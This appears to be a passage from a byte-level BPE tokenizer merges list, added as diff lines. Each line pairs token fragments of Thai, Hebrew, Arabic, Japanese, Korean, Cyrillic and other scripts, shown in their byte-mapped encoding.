+Ä © +س ر +า ว +ãĤ ± +à¸ļ ริ +ר ×Ĵ +á»ĥ u +ØŃ ت +×ķ×ŀ ×Ļ +ب ÙĨ +êµ IJ +ÄŁ u +ãģª ãĤĵ +×ij ×§ +Ġפ ר +ắ n +ØŃ ÙĦ +×ij ×Ĺ +ấ u +×ij ×ķ×ĵ +ãĥ ¯ +Ġ׾ ×§ +ั à¸į +à¸ŀ ิ +×Ĺ ×Ķ +×ĸ ׼ +ãĥ¼ãĥ ł +ÑĤ елÑĮ +×ŀ ×Ļ×ĵ +ÙĬ Ø® +Ạ³ +ت ص +à¸ĺ ิ +è¾ ¼ +ì ĵ +Ùĥ Ø© +ÙĤ ب +à¸Ħ à¹Į +à¹īา ย +à¸ĵ ะ +า ะ +ë Ĵ +ê ¾ +ë · +ì ĩ +ê º +ì ģ +ë Ģ +ì ¾ +ë ½ +ë ļ +ì Ń +ì İ +á ij +ë Ĺ +ê Ĵ +à ¡ +à ¬ +ðIJ Į +ã ĩ +ðĿ Ħ +Ġ׾ ×IJ +ãģ¨ ãģĦãģĨ +Ġn hi +×Ļ ×ķת +Ġש ×Ķ +à¹ģล à¹īว +Æ°á»Ľ c +à¸Ķà¹ī วย +à¸Ĺ าà¸ĩ +׳ ת +פ ת +à¹ģ à¸ķà¹Ī +ư ng +à¸Ńย ูà¹Ī +à¹ī ำ +Ġ×IJ ׾ +Ùĥ Ùħ +ấ p +ล à¸ĩ +ãģŁ ãĤģ +×Ĵ ׾ +ห ร +ĠÑĢ Ðµ +à¹Ģà¸Ĥ à¹īา +ÙĤ ر +Ġ×Ķ ×¡ +ÙĪ ÙĬ +สาม าร +สามาร à¸ĸ +Äĥ n +à¸Ń ี +פ ×ķ +×Ļ׳ ×ķ +ว ัà¸Ļ +ặ c +íķ Ļ +×ŀ ת +ê u +Ạ¹ +Ùģ ÙĬ +×ŀ צ +à¸Ħ า +ãģĿ ãģĨ +ãĢ ħ +ا ز +ا Ùĩ +ר ×Ļ×Ŀ +ấ n +ห าร +ạ t +ÙĨ Ùĩ +à¹Ģ à¸Ħร +ج Ùĩ +׼ ×Ļ +ắ t +à¸Ħ à¹īา +ر Ø© +ãĥ ı +Ùĥ ÙĪÙĨ +ứ ng +Ġìļ ° +ย à¹Į +à¹Īว à¸Ļ +à¸ģ ำ +Ø« ر +Ñģ и +ĠاÙĦ Ø· +Ġ×Ķ ×¦ +ĠØ · +ĠاÙĦ ÙĪ +ê¹ Į +ØŃ ÙĬ +ار ات +à¹Ģ à¸ĭ +ب ا +г ÑĢ +ร ี +ืà¸Ń à¸Ļ +ع ت +ÙĤ اÙĦ +د Ùħ +Ø ¡ +Ġ×ŀ ×§ +×ĵ ×Ļ×Ŀ +×¢ ׾ +ãģ Ĵ +ëĭ ĺ +×¢ ×Ķ +Ġìĸ ´ +Ñģ ÑĮ +ÙĤ Ø· +ãĥ Ľ +èĢĥ ãģĪ +à¹ģ à¸Ļ +ÙĪ Ø§Øª +â u +ĠìĤ¬ ëŀ +ห ว +ĠاÙĦØ£ Ùħ +Ġ×Ķ ×ŀש +ب ÙĪ +à¸Ĭ à¸Ļ +ãĤĵ ãģ§ãģĻ +ว à¸Ļ +à¸ģร รม +×ŀ ×ķ×ĵ +Ùĥ اÙĨ +×ķ× £ +ол ог +ت ÙĨ +à¸ķ à¹Į +ê² ĥ +ר ×ĺ +ừ ng +×ķ×ij ×Ķ +Ùħ ØŃ +ĠÐ § +פ ×Ĵ +ส à¸ĸ +ãģĭ ãĤĬ +ını z +à¹Ģ ย +ãĥ¼ ãĥ³ +ãģĬ ãĤĬ +פ ש +ิ à¸ķ +Ø· ÙĨ +×Ļת ×Ļ +×IJ ׳ +ç ek +ì ª +×ŀ ×ij +ศ า +ãĤ¹ ãĤ¿ +à¸ļ ุ +×ĵ ×ijר +ãģĦ ãģı +ส ะ +à¹Ģ หล +ิ à¸ĩ +à¸ŀ ัà¸Ļ +ãģĦ ãģŁãģł +ãĤĤ ãĤī +à¹ī ม +ãģĵãģ¨ãģĮ ãģ§ãģį +าร à¹Į +ุ à¸ĩ +í ij +ì ¯ +ë ¼ +í Ĥ +ì · +ê ¡ +á ı +á Ĵ +ðĿ ľ +á © +ðŁ Ħ +ðIJ ¤ +Ġש ׾ +Ġ×ŀ ×Ķ +à¹ģล ะ +Ġ׼ ׾ +Ạ½ +á»Ļ ng +ذ ÙĬ +л е +× ¥ +ãģª ãģ© +ĠÙĪ Ø£ +หà¸Ļ à¹īา +ãģ¾ ãģ§ +à¸ķà¹Ī à¸Ń +à¸Ĺ ัà¹īà¸ĩ +ãģł ãģij +à¹ģà¸ļ à¸ļ +à¹Ģร า +פ ׾ +ãģŁ ãģĦ +à¹Ģล ย +ãģ£ãģ¦ ãģĦãĤĭ +ế p +ึ à¹Īà¸ĩ +ê ´Ģ +ê³ Ħ +׼ ×ķ +à¹Ģร ืà¹Īà¸Ńà¸ĩ +×§ ×Ļ +êµ Ń +פ ס +ت ÙĬ +ãĥ Ħ +Ġ×Ķ ×Ĺ +г и +ר×IJ ׾ +×ŀ ׾ +ĠØ£ ÙĬ +Ġع ÙĦÙĬ +ãģĭ ãģ£ãģŁ +ש ×Ļ +д Ñĥ +×ŀ ף +׳ ×ĺ +׳ ×Ļת +mi ÅŁ +׼ ×Ŀ +Ġ×ij ר +Ġ׾ ×ij +ĠÐ Ľ +ç e +×ķ׳ ×Ļ +ãĤĪãģĨ ãģ« +פ ×ķר +ãĥ į +Ùĥ ÙĬ +×Ĺ ×ª +Ùģ ÙĦ +Ġ×Ķ ×§ +Ġ×Ķ ×ij +Ġ×ŀ ס +à¹Īา à¸Ļ +п еÑĢ +à¹Īา ว +Ġ×ij ×IJ +ĠÙĪ Ùĩ +à¸Ļ ำ +Ġ×ij ש +׳ ×§ +ãģ© ãģĨ +ש ×ķת +×ĵ ×Ķ +à¹Ģ à¸ļ +ÙĨ س +Ġìļ° ë¦¬ +ส à¹Īวà¸Ļ +ล ัà¸ĩ +ج ز +Ġ×Ĺ ×Ļ +Ùĥ ثر +ล ะ +Ùĩ د +ĠÙĪ Ø¨ +اÙĦ Ùħ +à¹ģ ม +Æ¡ i +Ġ×ij ×Ĺ +ữ a +à¹Ģà¸Ĺ ศ +à¸ķ ัà¹īà¸ĩ +ог да +׾ ×§ +د د +สร à¹īาà¸ĩ +à¸Ĭ ี +Ùģ Ø¶ +à¹ģ ห +uy á»ĩn +ร ัà¸ģ +á»ĩ m +ส า +פ ×§ +ีย à¸ĩ +à¸ķ à¹Īาà¸ĩ +à¸Ħร ัà¹īà¸ĩ +ØŃ ÙĤ +à¹Ģ à¸Ńà¸ĩ +ائ ÙĬ +×ĺ ×¢ +اÙĦ Ø© +ิ à¹Īม +ãĤ ½ +د Ùī +Ġר ×IJ +ãģ£ ãģ¨ +ãĥĥ ãĥĹ +ÙĬر Ø© +ê± ´ +×ŀ ×IJ +×ķ ×ķ +ب ع +ãģ ² +ร าย +×ĵ ×Ŀ +ت Ùģ +à¸ķ à¸ģ +ạ ng +ãĤĴ è¦ĭ +à¸Ĭ ั +Æ°á» Ł +Æ°á»Ł ng +ج ب +×ķ×ŀ ר +ĠìĤ¬ëŀ Į +ó ng +ร ั +Ġ×Ķ ×ĸ +ר צ +Ġ×Ĺ ×ĵ +ذ ÙĦÙĥ +×ķר ×Ļ +ãģ¡ ãĤĥ +Ùģ Ø¹ +Ġ׾ צ +á i +à¹ĩ à¸ļ +ãģ İ +à¸ģ ิ +ạ c +ë© ° +ãģª ãĤĭ +×ķ׾ ×Ŀ +à¹ģ à¸Ĺ +×ķ× ¥ +м еÑĤ +ü ÅŁ +ÑĢ Ñı +ภĴ +ÑģÑĤ оÑı +ع ÙĪØ¯ +Ùħ ار +Ø· Ø© +à¸ŀ ื +к ÑĢ +à¹ģ à¸ģ +à¹Ĥ รà¸ĩ +×ij ×Ļ×ĺ +ê² ł +×ķ׾ ×Ķ +ØŃ ر +ืà¹Ī à¸Ńà¸Ļ +×ķ×ij ר +׊ש +ãĥķãĤ ¡ +×ŀ ×ĺ +ú t +Ġd ön +ắ ng +ëł ĩ +ẳ ng +ว à¸ģ +ص د +Ø® Ø· +à¸Ń ั +ãĤı ãĤĮ +سÙĦ اÙħ +à¹Ģร à¹ĩ +×Ļש ×Ļ +ج اÙĦ +ãģij ãĤĭ +à¸Ĭา à¸ķิ +ÙĪØ§ ÙĤ +à¹Ĥ à¸Ļ +ãģ¦ ãģĹãģ¾ +اع Ø© +ãĤŃ ãĥ£ +à¸į า +ÙĦا ÙĤ +ิ à¸ģ +ĠÑģ ов +ÑĢаРº +×Ļ׳ ×Ļ +ü ÄŁ +Ã¼ÄŁ ü +×§ ×ij +à¹Ī à¸Ńà¸ĩ +Ġger çek +à¸Ĺ ั +ов аниÑı +×ŀ ׼ +س Ø© +×Ļ× £ +le ÅŁ +Ùħ ؤ +ĠìĿ ĺ +à¸IJ าà¸Ļ +ĠÑģ об +Ġêµ Ń +×¢ צ +з в +ส à¸ĩ +ز ÙĦ +ãģı ãĤĮ +и ÑĢÑĥ +ت Ø£ +п олн +ìĺ Ģ +ÙĨ Ø´ +׼ ×IJ +Ùħ Ø´ +à¸Ķ à¹Į +ÙĪ ÙĬÙĦ +à¹ģ à¸Ĥ +ãģ£ãģ¦ ãģĹãģ¾ +но ÑģÑĤ +в л +Ùħ ÙĤ +را ج +å¤ ī +ë Ľ +â ¸ +ì IJ +à » +á ļ +â » +ê Ļ +â § +ð Ĵ +ðĿ ĩ +Ġ×IJ ת +ĠÙĦ ÙĦ +ĠØ£ ÙĨ +Ġ×ķ ×Ķ +ãģ« ãģ¯ +Ġ×Ļ ×© +ت Ùĩ +ÃŃ nh +ÙĬ ات +Ġ×ij ×ŀ +à¸Ļั à¹īà¸Ļ +à¸Ļ à¹īำ +Ãł o +à¸ķ าม +ãģ® ãģ¯ +d ır +Ġn ghi +ặ t +×ŀ ×Ļ×Ŀ +ãģ¦ ãģĦãĤĭ +Ġ×ij ת +หร ืà¸Ń +Ġس ÙĬ +ãģª ãĤī +à¹Ĥà¸Ķ ย +ı yor +à¸Ńี à¸ģ +á»ĩ nh +Ñĭ м +à¸Ĺุ à¸ģ +Ġ׾ ×Ĺ +Ġ×Ķ ×¨ +Ġ×Ķ ×Ļ +à¸ŀ ระ +à¹Ģว ลา +ĠØ º +ẫ n +m Ä±ÅŁ +׼ ×Ķ +á»ij n +ãģ§ ãģĹãĤĩãģĨ +ãĥ ¢ +à¸Ľ ี +ס ×Ļ +ãģĵ ãĤį +Ġ׾ פ +ร à¸ĸ +ê¸ Ī +à¸ģ วà¹Īา +ë ¬´ +á»į ng +ãĤĵ ãģ§ +ãĤĪãģĨ ãģª +á»ĵ i +ãĤ ¬ +ส à¹Īà¸ĩ +×Ļ׳ ×Ķ +à¸ĸ ูà¸ģ +à¸Ī ัà¸Ķ +Ġ×Ķ ×Ĵ +ãĥ ľ +×ŀ ×ķת +ÙĪ Ùĥ +ëĭ ¨ +ĠØ « +ãģ® ãģĮ +à¹Ģห à¹ĩà¸Ļ +ع ا +à¸Ļ ิ +Å ŀ +à¸Ń ะ +ãģĪ ãĤĭ +Ø« ÙĦ +ØŃÙħ د +à¹Ģà¸ģ ิà¸Ķ +פ שר +פ ×Ķ +ม ิ +ئ ÙĬس +à¸Ĺำ à¹ĥหà¹ī +×¢ ×ĵ +ìĭ ¤ +à¸Ĭà¹Īว ย +ĠاÙĦÙħ ÙĨ +ز ÙĬ +ع ÙĬ +Ġ׼ ×IJ +ạ nh +á» ¹ +ãĤĵ ãģª +ส ู +צ ר +Æ°á»Ľ ng +×ķ ×ķ×Ķ +à¹Ĥ ล +ĠاÙĦ Ùĩ +ว า +หล าย +Ñī е +à¸Ĥ à¹īà¸Ń +à¹īà¸Ń ย +ب Ø· +ка Ñı +ĠØ ¢ +Ġи Ñģ +ĠاÙĦ غ +à¸ģ า +à¸Ļ à¹Īา +ÙĬ ÙĪ +×ij ×ķר +á»ħ n +ว à¸ĩ +×Ļ× ĸ +ì² Ń +н им +ëŁ ° +×Ĵ ×ķר +ص ØŃ +ÙĦ ÙĪ +×Ĺ ×ķת +ส ุ +رÙĬ ÙĤ +ס ×ĺ +Ġ×ŀ ×¢ +ãĥĨ ãĤ£ +à¸Ħ ิà¸Ķ +ãĤį ãģĨ +à¹Ħ ล +à¸Ļ à¹Į +á»ı i +ÑģÑĤÑĢ Ð¾ +ส à¸Ķ +ส าร +ÙĪÙĦ Ø© +ầ m +ร à¹Īว +รà¹Īว ม +ร ุ +ĠاÙĦس ÙĬ +ìĺ ģ +Ġ×ŀ ×ij +פ ×ĺ +à¸ķิ à¸Ķ +×ĺ ×Ļ×Ŀ +Ġë ¬´ +ÙĤد Ùħ +Ġdü ÅŁ +ائ ÙĦ +м Ñĭ +ØŃ س +ÙĪ Øµ +×Ļ×§ ×Ķ +ãģ§ãģ¯ ãģªãģĦ +à¹Ģ หม +оÑĢ ÑĤ +í Ĩµ +ãģ IJ +к ÑĢа +ีย ว +ع ار +ئ Ø© +íĥ Ģ +ãģ«ãģª ãĤĬ +ج Ø© +ÙĪÙĤ ع +ÑĮ Ñı +×ķצ ×Ķ +ש ×Ŀ +ب ÙĤ +Ġ×Ļ ×Ķ +ÙĬ Ø· +ım ız +д еÑĢж +×Ļש ר×IJ׾ +غ ÙĬر +ร à¸Ńà¸ĩ +à¹Ģรีย à¸Ļ +Ġ×Ķ ×ĺ +หม าย +Ùħ Ùĩ +اÙģ Ø© +Ġо ÑĢг +ÙĪ Ùī +ãĥ© ãĤ¤ +×ŀ ׳×Ķ +ĠÄij o +Ġг оÑĢ +اÙħ Ø© +æ¥ ½ +Ø« ÙĬر +à¸ģิ à¸Ī +á»ĵ n +ÙĨ ب +ÑĢÑĥ д +ìĹ Ī +Ġ×Ĺ ×ijר +ÑĢаР¶ +ạ ch +ت ÙĪ +à¹Ĥ ม +×ij ×Ļ×ij +Ġí Ĩµ +aca ģı +جÙĦ س +à¹Ģà¸Ľ ล +ว à¸Ķ +à¸Ń ล +ãģŁ ãĤĬ +à¸Ľ ัà¸į +Ġìķ Į +عر Ùģ +à¹Ħ à¸Ł +Ø£ Ø® +å¤ļ ãģĦ +à¸Ķ ัà¸ĩ +Ø´ Ùģ +ãģ£ãģ¦ ãģĦãģ¾ãģĻ +׼ ×ł×¡ +ÑĨ е +еÑģ п +Ùħ اÙħ +à¸ŀื à¹īà¸Ļ +иÑĩеÑģ ки +Ø® د +Ùĥ ÙĪÙħ +Ġ×Ķ ×¨×IJש +ت اب +é£Ł ãģ¹ +ื à¸Ļ +оÑĢ Ð¾ +Ġb öl +×ķ×Ĺ ×ĵ +دÙĬ ر +ắ m +د ع +ãģķ ãģĽ +à¸ĺ ร +à¸ĺร รม +ãģĭ ãĤĤ +å¤ļ ãģı +r ä +س ع +×Ļ׾ ×Ķ +ض ر +ĠاÙĦ شر +×ĸ ×ķר +×¢ ×ijר +ạ m +алÑĮ но +ر ÙĨ +اÙħ ج +׼ ×ļ +d ıģ +д ен +ض ا +ÙĦÙĬ Ùħ +Ġê·¸ 룬 +تÙħ اع +ار ÙĬØ® +à¹Ĥ à¸ķ +ĠÑģ ÑĢед +Ġ׳ ×ķס +ÙĤ بÙĦ +оÑĤ ов +le ÅŁtir +Ġм еÑģÑĤ +سÙĦ Ùħ +Ġ×¢ צ +ĠاÙĦس ÙĦ +еÑĤ ÑĮ +اب Ø© +н ак +สà¸ĸ าà¸Ļ +Ġ×ij ׳ +à¸ļ ัà¸Ļ +׼ ׳ +Ġö ÄŁ +ãģ¨ è¨Ģ +uy ến +di ÄŁ +áºŃ u +ÑĢ Ð°Ñģ +ãĤ· ãĥ§ãĥ³ +n ız +×ķ×ĵ ×Ķ +ت س +Ùħ اÙĦ +à¹Ģห à¸ķุ +ย ว +à¸ŀ ัà¸ģ +ãģĦ ãģªãģĦ +Ġк аÑĩ +ล à¹Į +ר׼ ת +ÅŁt ur +×ŀ ×ķס +ãģ ¥ +б ол +عÙħ اÙĦ +×ķר ת +ÑĨи он +ศ ึà¸ģ +ภı +ÑĢ ÐµÐ½ +اس ÙĬ +ائ ر +à¹Ĥ à¸Ľà¸£ +Ġse ç +غ ÙĬ +Ñį ÑĤ +ен н +ãģª ãģ® +×Ļש ×Ķ +×Ļפ ×ķר +ãģŁãĤģ ãģ« +ز Ø© +Ġç oc +ãĤ¯ ãĥª +ÑĪ ÐµÐ½ +ãĤı ãģij +رÙĬ د +ĠÑĢ Ð°ÑģÑģ +Ùĥ ات +ส à¸Ńà¸ļ +ce ÄŁi +ãĤ¿ ãĤ¤ +à¸ļ ร +ĠاÙĦ بر +׳ ×ķ×¢ +r ün +را ض +ศา ส +à¸ķ รà¹Į +ãģį ãģŁ +×ķ׾ ×ĵ +еÑĢ Ð¸ +íĹ ĺ +ắ p +ت عÙĦ +Ùĥ د +иÑĤелÑĮ но +Ø· Ùģ +Ġав ÑĤом +Ġ×ŀ צ +ÑĪи Ñħ +ات Ùģ +ĠÑħ оÑĤ +Ùİ Ø§ +ãģı ãĤĭ +×Ķ ×¤ +à¹Ĥ à¸Ĺ +à¹ģ à¸ŀ +à¹Ī à¸Ńย +ĠاÙĦÙħ Ø´ +à¸ģาร à¸ĵà¹Į +ани з +×Ķ ×ľ +ظ Ùħ +ย ุ +li ÄŁ +à¹Ħ à¸Ĥ +à¸ĸ ืà¸Ń +ö z +ãģij ãģ¦ +à¹Ģ à¸ľ +ุ ม +ãĥĹ ãĥ¬ +Ġ×Ķ×IJ ×Ĺר +خت ÙĦÙģ +à¸ İ +ÙĦا ØŃ +Ġdü zen +צ ×Ķ +س اء +×ķר ×ļ +×ķ×ĵ ×Ļ +ÑĢа ÑĦ +ÅŁt ır +ãģ« åħ¥ +ãģĪ ãģ° +ص ÙĪÙĦ +ĠÐľ оÑģ +ا Ùĩر +ãģ£ ãģ +ĠлÑİ Ð± +×Ļ×¢ ×Ķ +Ġ×Ķ×ŀ ×§ +สิ à¸Ĺ +สิà¸Ĺ à¸ĺิ +×Ļ׳ ×Ŀ +ÙĦا Ùģ +à¸ŀัà¸Ļ à¸ĺ +×ķ×IJ ×Ķ +ม ั +à¸Ĥ à¸ĵะ +д оÑĢ +ãģ¨ ãģª +à¸ģระ à¸Ĺ +ac ı +×ķ׾ ×ķ×Ĵ +Ñĥ ÑĪ +ãĥ¥ ãĥ¼ +ãĥ ¦ +Ùħ ست +Ġa ÅŁ +ש ×§ +פ ת×Ĺ +าย à¸Ļ +í ĩ +ë ¢ +ï · +í ī +ì µ +ì ¬ +ðĿ Ľ +ì Ĵ +ë Ļ +ê § +á ĸ +â ¨ +â ± +á ĺ +ð ĸ +à ł +á Ķ +ðIJ Ń +ữ ng +Å© ng +Ġ×Ķ ×ª +ĠاÙĦ ا +Ġ×ŀ ת +à¸ĸ ึà¸ĩ +ò n +á»ĭ nh +нÑĭ м +Ġc ả +à¸Ķ ู +Ġ à¹ģà¸ķà¹Ī +Ġ×ij ×Ķ +ó i +ãģ¨ ãģĹãģ¦ +ú ng +ĠØ ° +Ġ×Ķ ×ł +Ġب ÙĨ +ÙĦ اÙĦ +à¹Ħ à¸Ĺย +á»ĩ p +t ı +ม ัà¸Ļ +ằ ng +á»ij t +к ом +à¸ĭ ึà¹Īà¸ĩ +à¸Ħร ัà¸ļ +à¸ļ à¹īาà¸Ļ +ĠاÙĦ ÙĬ +l ü +ÙĪ Ø³ +ãģł ãģ£ãģŁ +à¹Ģ à¸ĩ +Ġê³ µ +н Ñĥ +ãĤĪ ãĤĬ +м Ñĥ +à¹Ģà¸Ĥ า +ãĤ Ģ +ни е +ãģ«ãģª ãĤĭ +áºŃ y +ĠÙĪ Ø§ +ëł ¤ +ש ×ķ +á p +×ĵ ×ķ +ãģ§ ãģĹãģŁ +ع ض +Ñģк ой +æĦŁ ãģĺ +ÑİÑĤ ÑģÑı +Ġ×Ļ ×Ľ×ķ׾ +ãĤĵ ãģł +в и +à¹Ģล à¹Īà¸Ļ +ìĿ´ ëĭ¤ +ĠÙĦ Ùĩ +à¸Ħ ืà¸Ń +ت Ùĥ +Ùħ ÙĥÙĨ +a ģı +׳ ×ĵ +ë¯ ¼ +à¹Ħ ว +สำ ห +สำห รัà¸ļ +Ñģл ед +t ır +ĠÙĦ ÙĬ +ĠاÙĦع ÙħÙĦ +×ij ×ķת +×ij ×Ļ×Ŀ +à¸Ħ ำ +à¹Ģà¸Ħร ืà¹Īà¸Ńà¸ĩ +lı ģı +ืà¸Ń à¸ĩ +ج د +íŀ Ī +ìĭ ¬ +×¢ ×ķת +ส ิà¸Ļ +Ñĩ и +ر ض +à¹Ģà¸Ľ ิà¸Ķ +à¸Ħ à¹Īา +ìĦ ł +ÙĪØ± Ø© +×§ ×ĺ +ìľ ł +ع ÙħÙĦ +×IJ ×Ļ×Ŀ +׾ ×Ļ×Ŀ +à¹ĥห à¸į +à¹ĥหà¸į à¹Ī +ừ a +á»į i +ãģ ¶ +ÃŃ ch +ãĥĩ ãĤ£ +×ķר ×Ļ×Ŀ +Ñģ о +ìķ ½ +ов а +Ñĩ аÑģÑĤ +à¹Ģà¸Ī à¹īา +п ÑĢо +Ġ×ŀ ×Ĺ +ãĥ İ +×ķ×Ļ ×ķת +Ġд е +ë§ Ī +ì§ ģ +×Ļפ ×Ķ +ĠاÙĦع اÙĦÙħ +ë¥ ´ +ר×IJ ×Ķ +uy á»ĥn +×¢ ×Ļ +ม ืà¸Ń +Ø¥ ÙĨ +ร ู +ĠØ ² +×Ļ ×ķ×Ŀ +à¸ķ à¹īà¸Ļ +ãģ¦ ãģĦãģ¾ãģĻ +Ùħ اÙĨ +ĠÐ ¥ +à¸Ľà¸£à¸° à¹Ģà¸Ĺศ +á» ³ +׾ ×ij +à¹Ģà¸Ķ à¹ĩ +ãģŁ ãģ¡ +à¸Ĺี ม +à¸Ļ ะ +ìĹ ° +Ġìł Ģ +ÙĦ Ùĩ +ợ i +ĠاÙĦ ز +د ار +ãĤ³ ãĥ³ +м ин +à¹ģห à¹Īà¸ĩ +à¸Ķ ัà¸ļ +׼ ר +ж а +íĸ Ī +×ŀ ×ĸ +ợ i +à¸Ķ า +Ġع بد +à¹ģ ร +×IJת ר +×¢ ׳×Ļ +à¹Ģ à¸Ħ +×ķצ ר +ì§Ģ ë§Į +ائ Ùħ +Ø£ س +uy á»ģn +Ġ×IJ ׳ +׊׳×ķ +×ĸ ×Ļ +ร à¹īาà¸Ļ +ĠÐł оÑģ +ĠÐłÐ¾Ñģ Ñģ +رب ÙĬØ© +t ür +ãĤĭ ãģĵãģ¨ +ظ ر +б Ñĭ +à¸Ĺีà¹Ī สุà¸Ķ +Ġצ ר +èĩª åĪĨ +л аÑģ +ĠÑı в +ĠÑıв лÑı +à¸ŀร à¹īà¸Ńม +à¸Ńา à¸Ī +à¸ļริ à¸ģาร +Ġç ı +ëį ĺ +ĠاÙĦÙħ ست +ت Ø´ +ש ×ķ×ij +ãĤ ´ +Ġyap ıl +ĠاÙĦ ذ +ุ à¹Īม +à¸ĸ à¹īา +ìĦ ¤ +ì° ¨ +в аÑĢ +à¹Ģà¸ŀ ิà¹Īม +Æ°á»Ľ i +Ùĥ س +à¸Ńย าà¸ģ +ãģ¦ ãĤĤ +Ġг од +ÙĬ ار +à¸ķ à¸Ńà¸Ļ +Ġиг ÑĢ +à¹Ħà¸Ķà¹ī รัà¸ļ +ĠاÙĦÙħ ر +ÙĤ ت +Ġë ĺ +Ġëĺ IJ +ẩ n +ãģĻãĤĭ ãģĵãģ¨ +×Ĵ ×Ŀ +Ġ×ij ×ij +ت د +ÙĪ Ø§Ø± +ãĤ ® +п ол +Ġм ог +تر Ùĥ +ÙĪ Ø« +Ġç ık +ا Ø© +à¹Ģà¸Ķ ียว +มี à¸Ħวาม +Ġ×ŀ ×Ĵ +ص Ùģ +ĠТ ак +Ġ׼ ת +×Ļ×ĵ ×Ļ +ов оÑĢ +ầ y +สิ à¹Īà¸ĩ +ب ت +ür ü +ÙĨ ج +หล ัà¸ģ +×Ļ×Ķ ×Ŀ +ÙĤ ص +з Ñĭ +×Ľ×ª ×ij +ư u +m ız +ĠìĦ ¸ +л ог +Ùħ ÙĬÙĦ +ÙĬ ج +íĴ Ī +à¸ŀ à¸ļ +ห ัว +з на +ר ×§ +à¹Ĥ ร +Ġ×ij ס +ĠBaÅŁ kan +ĠëĶ ° +à¸Ń ัà¸Ļ +ีà¹Īย ว +н еÑģ +à¹Ģà¸Ķ ิà¸Ļ +ÙĬ اÙĨ +×ķ׾ ×Ļ +ا خت +צ ×ķת +ãģĵ ãģĵ +ĠاÙĦ اÙĨ +ĠпÑĢо ÑĨ +ãģ¾ ãģł +׼ ס +ĠاÙĦ Ø¢ +ÙĬ ز +ĠاÙĦد ÙĪÙĦ +Ġíķĺ ëĤĺ +ض ع +ê» ĺ +ÅĽ wi +ย ิ +ãģ¡ãĤĥ ãĤĵ +ĠÙħ Ø´ +à¸ĺ ี +ãģ¨ ãģį +׳×Ļ ×ķת +Ġë ¯ +Ġë¯ ¸ +Ġs ı +ëĭĪ ê¹Į +Ġп л +غ ÙĦ +à¹ģ รà¸ĩ +ب ÙĬر +ãģĤãĤĬ ãģ¾ãģĽãĤĵ +ê· ¼ +Ġy üz +ĠdeÄŁ er +åł´ åIJĪ +á» ¡ +м аÑĤ +รา à¸Ĭ +ÙĪØ± ÙĬ +ж ен +ãģ¾ ãĤĬ +ãģ® ä¸Ń +×Ļ×ĵ ×¢ +à¸Ń ุ +à¸ļ à¸Ńล +à¸Ľà¸±à¸į หา +ز Ùħ +ÄŁ a +à¸Ń ืà¹Ī +à¸Ńืà¹Ī à¸Ļ +п л +Ġне обÑħодим +׼ ×ij +à¹Ģ ศ +קר ×Ķ +ì² ĺ +ëł ¨ +×ŀ×§ ×ķ×Ŀ +jÄħ c +Ùĩ ÙĦ +Ġ×¢ ×ij×ķ×ĵ +à¹Ħม à¹ī +à¸ģล ัà¸ļ +×ķ׼ ׾ +×§ ×ĵ +اÙĦ ÙĬØ© +ر Ùĩ +ãģij ãĤĮãģ° +ĠÙĨ Ù쨳 +ãĤ¢ ãĥ« +ìĹ Īëĭ¤ +×§ ×ķר +н еÑĢ +ب اب +ãĤ ¶ +سب ب +ÙĦ ÙĬÙĦ +ص ÙĨ +ص در +ế m +à¸Ĭà¹Īว à¸ĩ +ØŃ ÙĨ +Ġ×ij ×Ĵ +×ŀ ×ķ×¢ +׾ ×Ĺ +大 ãģį +ت ب +н еÑĤ +×Ļ×ij ×Ķ +б л +ãĥĹ ãĥª +اص Ø© +ãģ¤ ãģij +×Ļ×ŀ ×ķש +ãģĮ ãģĤ +ëĭ ´ +ãģĭãĤĤ ãģĹ +ãģĭãĤĤãģĹ ãĤĮ +ãģ¡ ãĤī +×ij ×ĺ +Ġba ÄŁ +×Ļ×Ĺ ×¡ +×ij ×ķ×¢ +ล ี +פע ×Ļ׾ +им и +g ÅĤ +Ġим е +خد اÙħ +×IJ ×Ļר +Ġy apt +ãģ¨ ãģĦ +à¸ĩ à¹Īาย +׾×Ļ ×ķ +ØŃد Ø« +را ÙĤ +ĠÄIJ i +اد ر +ãģĵãģ¨ ãĤĤ +×ij ×Ļר +Ġв з +ض اÙģ +ת ×ķ׼ +ÑĢ Ð¾Ð¼ +ر ات +à¹Ģà¸Ĺ à¹Īา +ãģĺ ãĤĥ +ãģĿ ãģĵ +اج تÙħاع +à¹īà¸Ń à¸Ļ +ÙĤ Ùħ +ë³ ¸ +Ä ŀ +ש ×Ļ×ķ +×ij ׳×Ļ +ìľĦ ìĽIJ +à¹ģ à¸Ī +×Ĺ ×ķר +دÙĬ ÙĨØ© +ت Ø· +ằ m +ò a +ย à¸Ńà¸Ķ +Ġëĭ ¹ +สุ à¸Ĥ +×ĵר ×ļ +د ÙĨ +س ÙĬÙĨ +ÙĪÙĤ Ùģ +ÑĨ Ñĭ +г оÑĤов +еж дÑĥ +à¸ŀ วà¸ģ +اÙĤ تص +اÙĤتص اد +cz ÄĻ +ni ÄĻ +ÑĢ ÐµÐ± +ØŃ ÙĪ +à¸Ĺ à¹Į +ãĤĪ ãģŃ +д ж +à¸ģล à¹Īาว +دÙĬ Ø« +ãĤ³ ãĥŁ +ÙĤ ÙĪÙħ +Ġت ØŃ +à¹Ģ à¸ķิ +اÙģ Ø¸ +à¸Ī ุ +رÙĬ اض +×ŀש ×ļ +à¹Ĥ ย +еÑĢ Ðµ +ãģ¿ ãģŁãģĦ +ìĿ´ ëĿ¼ +ĠاÙĦÙħ ÙĪ +ĠÑģÑĤ о +à¹Ģรà¹ĩ ว +Ġд еÑĤ +ĠÑģ дел +à¹Ģà¸Ĭ ืà¹Īà¸Ń +פ ׳×Ļ +ÙĪØ¶ ÙĪØ¹ +×ij ס +à¹ģ à¸Ķ +ó c +ริ ม +ÑĢаР´ +ìĪ ł +ãĥ¼ãĤ º +ãģ« ãģĬ +и но +פ ×Ļ׾ +à¸Ĭั à¹Īà¸Ļ +×Ĺ×ĵ ש +à¹Ģà¸Ļ ืà¹Īà¸Ńà¸ĩ +׳ ×Ļס +غ رب +ãĤ¸ ãĥ£ +ส ัà¸ĩ +à¹Ģ à¸Ĺีà¹Ī +à¹Ģà¸Ĺีà¹Ī ยว +ëŁ ¼ +à¹ģ à¸Ł +ãĥ¼ãĤ · +ãĥ¼ãĤ· ãĥ§ãĥ³ +Ġвоз мож +جÙħ ÙĪØ¹ +×ijר ×Ļ×Ŀ +ãĥĪ ãĥ© +ĠкаÑĩ еÑģÑĤв +Ø· ÙĬ +ÑĤ Ñı +צ ×ķ×¢ +ÄŁ ını +ع ÙĦÙī +ا ذ +ÙĪØ§ÙĤ ع +Ùħ ÙĪØ§ +ائ 